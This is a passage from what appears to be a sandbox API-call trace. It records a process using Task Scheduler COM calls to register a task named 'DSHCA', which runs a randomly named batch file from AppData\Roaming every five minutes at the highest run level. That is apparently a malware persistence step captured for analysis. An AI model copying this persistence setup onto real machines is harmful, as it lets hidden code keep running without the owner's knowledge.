0 [0086.401] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|i|") returned 3 [0086.401] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.401] lstrlenW (lpString="|i|") returned 3 [0086.401] lstrlenW (lpString="|F|") returned 3 [0086.401] StrStrIW (lpFirst="|i|", lpSrch="|F|") returned 0x0 [0086.401] SetLastError (dwErrCode=0x490) [0086.401] lstrlenW (lpString="tn") returned 2 [0086.401] lstrlenW (lpString="tn") returned 2 [0086.401] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.401] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.401] lstrlenW (lpString="|tn|") returned 4 [0086.401] lstrlenW (lpString="|F|") returned 3 [0086.401] StrStrIW (lpFirst="|tn|", lpSrch="|F|") returned 0x0 [0086.401] SetLastError (dwErrCode=0x490) [0086.401] lstrlenW (lpString="tr") returned 2 [0086.401] lstrlenW (lpString="tr") returned 2 [0086.401] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.401] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.401] lstrlenW (lpString="|tr|") returned 4 [0086.401] lstrlenW (lpString="|F|") returned 3 [0086.401] StrStrIW (lpFirst="|tr|", lpSrch="|F|") returned 0x0 [0086.401] SetLastError (dwErrCode=0x490) [0086.401] lstrlenW (lpString="st") returned 2 [0086.401] lstrlenW (lpString="st") returned 2 [0086.401] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.401] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|st|") returned 4 [0086.402] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.402] lstrlenW (lpString="|st|") returned 4 [0086.402] lstrlenW (lpString="|F|") returned 3 [0086.402] StrStrIW (lpFirst="|st|", lpSrch="|F|") returned 0x0 [0086.402] SetLastError (dwErrCode=0x490) [0086.402] lstrlenW (lpString="sd") returned 2 [0086.402] lstrlenW (lpString="sd") returned 2 [0086.402] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sd|") returned 4 [0086.402] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.402] lstrlenW (lpString="|sd|") returned 4 [0086.402] lstrlenW (lpString="|F|") returned 3 [0086.402] StrStrIW (lpFirst="|sd|", lpSrch="|F|") returned 0x0 [0086.402] SetLastError (dwErrCode=0x490) [0086.402] lstrlenW (lpString="ed") returned 2 [0086.402] lstrlenW (lpString="ed") returned 2 [0086.402] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ed|") returned 4 [0086.402] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.402] lstrlenW (lpString="|ed|") returned 4 [0086.402] lstrlenW (lpString="|F|") returned 3 [0086.402] StrStrIW (lpFirst="|ed|", lpSrch="|F|") returned 0x0 [0086.402] SetLastError (dwErrCode=0x490) [0086.402] lstrlenW (lpString="it") returned 2 [0086.402] lstrlenW (lpString="it") returned 2 [0086.402] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.402] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|it|") returned 4 [0086.402] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.402] lstrlenW (lpString="|it|") returned 4 [0086.402] lstrlenW (lpString="|F|") returned 3 [0086.403] StrStrIW (lpFirst="|it|", lpSrch="|F|") returned 0x0 [0086.403] SetLastError (dwErrCode=0x490) [0086.403] lstrlenW (lpString="et") returned 2 [0086.403] lstrlenW (lpString="et") returned 2 [0086.403] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|et|") returned 4 [0086.403] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.403] lstrlenW (lpString="|et|") returned 4 [0086.403] lstrlenW (lpString="|F|") returned 3 [0086.403] StrStrIW (lpFirst="|et|", lpSrch="|F|") returned 0x0 [0086.403] SetLastError (dwErrCode=0x490) [0086.403] lstrlenW (lpString="k") returned 1 [0086.403] lstrlenW (lpString="k") returned 1 [0086.403] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|k|") returned 3 [0086.403] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.403] lstrlenW (lpString="|k|") returned 3 [0086.403] lstrlenW (lpString="|F|") returned 3 [0086.403] StrStrIW (lpFirst="|k|", lpSrch="|F|") returned 0x0 [0086.403] SetLastError (dwErrCode=0x490) [0086.403] lstrlenW (lpString="du") returned 2 [0086.403] lstrlenW (lpString="du") returned 2 [0086.403] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.403] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|du|") returned 4 [0086.403] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.403] lstrlenW (lpString="|du|") returned 4 [0086.403] lstrlenW (lpString="|F|") returned 3 [0086.403] StrStrIW (lpFirst="|du|", lpSrch="|F|") returned 0x0 [0086.403] SetLastError (dwErrCode=0x490) [0086.403] lstrlenW (lpString="ri") returned 2 [0086.403] lstrlenW (lpString="ri") returned 2 [0086.404] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ri|") returned 4 [0086.404] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.404] lstrlenW (lpString="|ri|") returned 4 [0086.404] lstrlenW (lpString="|F|") returned 3 [0086.404] StrStrIW (lpFirst="|ri|", lpSrch="|F|") returned 0x0 [0086.404] SetLastError (dwErrCode=0x490) [0086.404] lstrlenW (lpString="z") returned 1 [0086.404] lstrlenW (lpString="z") returned 1 [0086.404] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|z|") returned 3 [0086.404] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.404] lstrlenW (lpString="|z|") returned 3 [0086.404] lstrlenW (lpString="|F|") returned 3 [0086.404] StrStrIW (lpFirst="|z|", lpSrch="|F|") returned 0x0 [0086.404] SetLastError (dwErrCode=0x490) [0086.404] lstrlenW (lpString="f") returned 1 [0086.404] lstrlenW (lpString="f") returned 1 [0086.404] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.404] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|f|") returned 3 [0086.404] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.404] lstrlenW (lpString="|f|") returned 3 [0086.404] lstrlenW (lpString="|F|") returned 3 [0086.404] StrStrIW (lpFirst="|f|", lpSrch="|F|") returned="|f|" [0086.404] SetLastError (dwErrCode=0x0) [0086.404] SetLastError (dwErrCode=0x0) [0086.405] GetProcessHeap () returned 0x730000 [0086.405] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745530 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.405] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.752] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.752] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.752] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.753] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.753] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.753] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c9e0, cchData=128 | out: lpLCData="0") returned 2 [0086.753] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.753] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c9e8, cchData=128 | out: lpLCData="0") returned 2 [0086.753] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.753] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0088.230] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0088.907] CoCreateInstance (in: rclsid=0x52230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x5220fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27cf6c | out: ppv=0x27cf6c*=0x353e68) returned 0x0 [0089.232] TaskScheduler:ITaskService:Connect (This=0x353e68, serverName=0x27cedc*(varType=0x8, wReserved1=0xcc8f, wReserved2=0xcf70, wReserved3=0x27, varVal1=0x0, varVal2=0x27cf54), user=0x27ceec*(varType=0x0, wReserved1=0x7541, wReserved2=0x8ed7, wReserved3=0x9ec7, varVal1=0x27ea48, varVal2=0x27de58), domain=0x27cefc*(varType=0x0, wReserved1=0x9a60, wReserved2=0xde20, wReserved3=0x27, varVal1=0x52994e, varVal2=0x746a50), password=0x27cf0c*(varType=0x0, wReserved1=0x7738, wReserved2=0x3c, wReserved3=0x0, varVal1=0xcc8f8800, varVal2=0xffffffa3)) returned 0x0 [0089.667] TaskScheduler:IUnknown:AddRef (This=0x353e68) returned 0x2 [0089.667] TaskScheduler:ITaskService:GetFolder (in: This=0x353e68, Path=0x0, ppFolder=0x27d010 | out: ppFolder=0x27d010*=0x353ed0) returned 0x0 [0089.672] TaskScheduler:ITaskService:NewTask (in: This=0x353e68, flags=0x0, ppDefinition=0x27d020 | out: ppDefinition=0x27d020*=0x353f00) returned 0x0 [0090.215] ITaskDefinition:get_Actions (in: This=0x353f00, ppActions=0x27cf6c | out: ppActions=0x27cf6c*=0x353f78) returned 0x0 [0090.216] IActionCollection:Create (in: This=0x353f78, Type=0, ppAction=0x27cf84 | out: ppAction=0x27cf84*=0x352908) returned 0x0 [0090.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0090.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0090.485] lstrlenW (lpString=" ") returned 1 [0090.485] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0090.485] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x4a) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6a) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0090.486] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0090.486] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x59) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x6a) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0090.487] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat", wMatch=0x20) returned=" HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" [0090.487] lstrlenW (lpString="HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 37 [0090.487] lstrlenW (lpString=" ") returned 1 [0090.487] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0090.487] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x59) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x6a) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0090.488] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.488] IUnknown:Release (This=0x352908) returned 0x1 [0090.488] IUnknown:Release (This=0x353f78) returned 0x1 [0090.488] ITaskDefinition:get_Triggers (in: This=0x353f00, ppTriggers=0x27cb58 | out: ppTriggers=0x27cb58*=0x352788) returned 0x0 [0090.488] ITriggerCollection:Create (in: This=0x352788, Type=1, ppTrigger=0x27cb64 | out: ppTrigger=0x27cb64*=0x352948) returned 0x0 [0090.488] lstrlenW (lpString="5") returned 1 [0090.489] _vsnwprintf (in: _Buffer=0x27caf8, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x27caec | out: _Buffer="PT5M") returned 4 [0090.489] ITrigger:get_Repetition (in: This=0x352948, ppRepeat=0x27cb68 | out: ppRepeat=0x27cb68*=0x352998) returned 0x0 [0090.489] IRepetitionPattern:put_Interval (This=0x352998, Interval="PT5M") returned 0x0 [0090.489] IUnknown:Release (This=0x352998) returned 0x1 [0090.489] _vsnwprintf (in: _Buffer=0x27cac8, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27cab0 | out: _Buffer="2020-01-22T01:55:00") returned 19 [0090.489] ITrigger:put_StartBoundary (This=0x352948, StartBoundary="2020-01-22T01:55:00") returned 0x0 [0090.489] lstrlenW (lpString="") returned 0 [0090.489] lstrlenW (lpString="") returned 0 [0090.489] lstrlenW (lpString="") returned 0 [0090.489] lstrlenW (lpString="") returned 0 [0090.489] IUnknown:Release (This=0x352948) returned 0x1 [0090.489] IUnknown:Release (This=0x352788) returned 0x1 [0090.489] ITaskDefinition:get_Settings (in: This=0x353f00, ppSettings=0x27cf74 | out: ppSettings=0x27cf74*=0x3527c8) returned 0x0 [0090.489] lstrlenW (lpString="") returned 0 [0090.489] IUnknown:Release (This=0x3527c8) returned 0x1 [0090.489] GetLocalTime (in: lpSystemTime=0x27ce64 | out: lpSystemTime=0x27ce64*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x37, wSecond=0x29, wMilliseconds=0x70)) [0090.490] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0090.490] GetProcAddress (hModule=0x754b0000, lpProcName="GetUserNameW") returned 0x754c157a [0090.490] GetUserNameW (in: lpBuffer=0x27ce78, pcbBuffer=0x27ce60 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27ce60) returned 1 [0090.490] ITaskDefinition:get_RegistrationInfo (in: This=0x353f00, ppRegistrationInfo=0x27ce74 | out: ppRegistrationInfo=0x27ce74*=0x352718) returned 0x0 [0090.490] IRegistrationInfo:put_Author (This=0x352718, Author="5p5NrGJn0jS HALPmcxz") returned 0x0 [0090.491] _vsnwprintf (in: _Buffer=0x27ce78, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ce38 | out: _Buffer="2020-01-22T01:55:41") returned 19 [0090.491] IRegistrationInfo:put_Date (This=0x352718, Date="2020-01-22T01:55:41") returned 0x0 [0090.491] IUnknown:Release (This=0x352718) returned 0x1 [0090.491] malloc (_Size=0xc) returned 0x3529d0 [0090.491] free (_Block=0x3529d0) [0090.491] lstrlenW (lpString="") returned 0 [0090.491] ITaskDefinition:get_Principal (in: This=0x353f00, ppPrincipal=0x27d018 | out: ppPrincipal=0x27d018*=0x3528a8) returned 0x0 [0090.491] IPrincipal:put_RunLevel (This=0x3528a8, RunLevel=1) returned 0x0 [0090.491] IUnknown:Release (This=0x3528a8) returned 0x1 [0090.491] malloc (_Size=0xc) returned 0x3529d0 [0090.491] ITaskFolder:RegisterTaskDefinition (in: This=0x353ed0, Path="DSHCA", pDefinition=0x353f00, flags=6, UserId=0x27cf5c*(varType=0x0, wReserved1=0x0, wReserved2=0x4150, wReserved3=0x5352, varVal1=0x325245, varVal2=0x1), password=0x27cf6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x27cf80*(varType=0x0, wReserved1=0x0, wReserved2=0xcc08, wReserved3=0x27, varVal1=0x0, varVal2=0x0), ppTask=0x27d00c | out: ppTask=0x27d00c*=0x352a00) returned 0x0 [0099.162] free (_Block=0x3529d0) [0099.163] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0099.163] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x746810, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0099.163] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0099.163] GetProcessHeap () returned 0x730000 [0099.163] GetProcessHeap () returned 0x730000 [0099.163] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744ed0) returned 1 [0099.163] GetProcessHeap () returned 0x730000 [0099.164] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744ed0) returned 0xc [0099.164] _vsnwprintf (in: _Buffer=0x27d424, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27cf90 | out: _Buffer="SUCCESS: The scheduled task \"DSHCA\" has successfully been created.\n") returned 67 [0099.164] _fileno (_File=0x76be2920) returned 1 [0099.164] _errno () returned 0x3507d8 [0099.164] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.164] _errno () returned 0x3507d8 [0099.164] GetFileType (hFile=0x7) returned 0x2 [0099.165] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.166] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x27cf54 | out: lpMode=0x27cf54) returned 1 [0099.166] __iob_func () returned 0x76be2900 [0099.166] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.166] lstrlenW (lpString="SUCCESS: The scheduled task \"DSHCA\" has successfully been created.\n") returned 67 [0099.166] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x27d424*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x27cf7c, lpReserved=0x0 | out: lpBuffer=0x27d424*, lpNumberOfCharsWritten=0x27cf7c*=0x43) returned 1 [0099.168] IUnknown:Release (This=0x352a00) returned 0x0 [0099.168] TaskScheduler:IUnknown:Release (This=0x353f00) returned 0x0 [0099.168] TaskScheduler:IUnknown:Release (This=0x353ed0) returned 0x0 [0099.168] TaskScheduler:IUnknown:Release (This=0x353e68) returned 0x1 [0099.168] lstrlenW (lpString="") returned 0 [0099.168] lstrlenW (lpString="5") returned 1 [0099.168] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 